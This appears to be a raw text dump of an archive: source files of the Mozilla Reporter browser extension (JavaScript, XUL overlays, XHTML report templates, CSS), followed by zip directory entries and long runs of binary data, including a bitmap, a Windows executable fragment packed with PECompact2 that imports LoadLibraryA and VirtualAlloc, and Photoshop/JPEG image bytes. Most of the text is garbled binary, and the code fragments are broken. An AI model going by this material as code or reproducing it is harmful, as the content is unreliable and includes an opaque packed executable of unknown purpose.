var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
